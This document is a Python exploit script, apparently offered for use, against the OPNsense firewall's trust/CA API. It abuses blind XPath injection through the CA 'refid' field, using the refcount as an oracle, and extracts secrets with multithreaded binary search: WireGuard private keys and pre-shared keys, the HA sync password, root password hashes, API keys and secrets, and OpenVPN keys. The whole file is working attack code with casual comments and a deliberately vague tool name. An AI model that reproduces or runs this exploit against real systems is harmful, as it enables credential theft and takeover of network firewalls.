import argparse import string import sys import random import threading from concurrent.futures import ThreadPoolExecutor from queue import Queue import requests import urllib3 urllib3.disable_warnings() # yeah idk dude iiwiw lol targs = { "wgppk": "//OPNsense/wireguard/server/servers/server/privkey", "wgpsk": "//OPNsense/wireguard/client/clients/client/psk", "hasyncpw": "//hasync/password", "roothash": "//system/user/password", "rootkey": "//system/user/apikeys/item/key", "rootsecret": "//system/user/apikeys/item/secret", "openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key" } cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; ")) # print("".join(cset)) makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__" total = 0 lock = threading.Lock() # mega ass def sesh(a): s = requests.Session() s.auth = a s.verify = False return s def prober(s, base, n): canary = makecanary() r = s.post(f"{base}/api/trust/ca/add", data={ "ca[refid]": canary, "ca[descr]": f"p{n}", "ca[action]": "internal", "ca[commonname]": f"p{n}", }, timeout=30) return r.json().get("uuid", "n/a"), canary def inj(s, base, ca_uuid, nx, condition): global total payload = f"{nx}' or ({condition}) or 'x'='" s.post( f"{base}/api/trust/ca/set/{ca_uuid}", data={"ca[refid]": payload}, timeout=30, ) r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30) with lock: total += 1 ca = r.json().get("ca", {}) # refcount = int(ca["refcount"]) refcount = int(ca.get("refcount", "0")) return refcount > 0 def getlen(s, base, ca, nx, xpath): lo, hi = 0, 300 while lo < hi: mid = (lo + hi + 1) // 2 if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"): lo = mid else: hi = mid - 1 return lo def binsrch(s, base, ca, nx, xpath, pos): cands = cset[:] while len(cands) > 1: midpoint = len(cands) // 2 half = "".join(cands[:midpoint]) cond = f"contains('{half}', substring({xpath},{pos},1))" if inj(s, base, ca, nx, cond): cands = cands[:midpoint] else: cands = cands[midpoint:] c = cands[0] if c == "'": lit = f'"{c}"' else: lit = f"'{c}'" cond = f"substring({xpath},{pos},1)={lit}" if inj(s, base, ca, nx, cond): return c return None def extract(workers, base, xpath): s0, ca0, nx0 = workers[0] length = getlen(s0, base, ca0, nx0, xpath) if length == 0: return "" print(f"+ maybe {length} len") result = ["?"] * length wq = Queue() for w in workers: wq.put(w) # start grabbing def do(pos): s, ca, nx = wq.get() try: return pos, binsrch(s, base, ca, nx, xpath, pos + 1) finally: wq.put((s, ca, nx)) with ThreadPoolExecutor(max_workers=len(workers)) as pool: # for pos, ch in pool.map(doer_func(p), range(length)): for pos, ch in pool.map(lambda p: do(p), range(length)): if ch: result[pos] = ch sys.stdout.write(ch or "#") sys.stdout.flush() print() return "".join(result) def main(): global total print("xray") target_names = list(targs.keys()) target_list = "\n".join(f"{k}:{v}" for k, v in targs.items()) # i gave it a bullshit name parser = argparse.ArgumentParser( description="x-ray", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="extractables:\n" + target_list, ) parser.add_argument("targ", help="base url") parser.add_argument("api_key", help="you need this") parser.add_argument("api_secret", help="this too") parser.add_argument("target", nargs="?", default="all", choices=target_names + ["all"], help="target to extract") parser.add_argument("-w", "--workers", type=int, default=8, help="how many workers in parallel") args = parser.parse_args() base = args.targ.rstrip("/") auth = (args.api_key, args.api_secret) s = sesh(auth) r = s.get(f"{base}/api/trust/ca/search", timeout=10) if r.status_code != 200: print("- bro") sys.exit(1) print("+ oh sweet we can access the ca api") workers = [] for i in range(args.workers): ws = sesh(auth) uuid, nx = prober(ws, base, i) if not uuid: print("creating probe failed (prober)") sys.exit(1) workers.append((ws, uuid, nx)) print(f"+ {args.workers} probing\n") # extract if args.target == "all": targets = targs else: targets = {args.target: targs[args.target]} for name, xpath in targets.items(): print(f"+ {name}") s0, ca0, nx0 = workers[0] if not inj(s0, base, ca0, nx0, f"boolean({xpath})"): print("n/a") continue val = extract(workers, base, xpath) print(f"{repr(val)} ({total} reqs)\n") # finally: # nvm # cleanup but not really beacuse im lazy for ws, ca, nx in workers: ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30) print(f"+ done {total}") if __name__ == "__main__": main()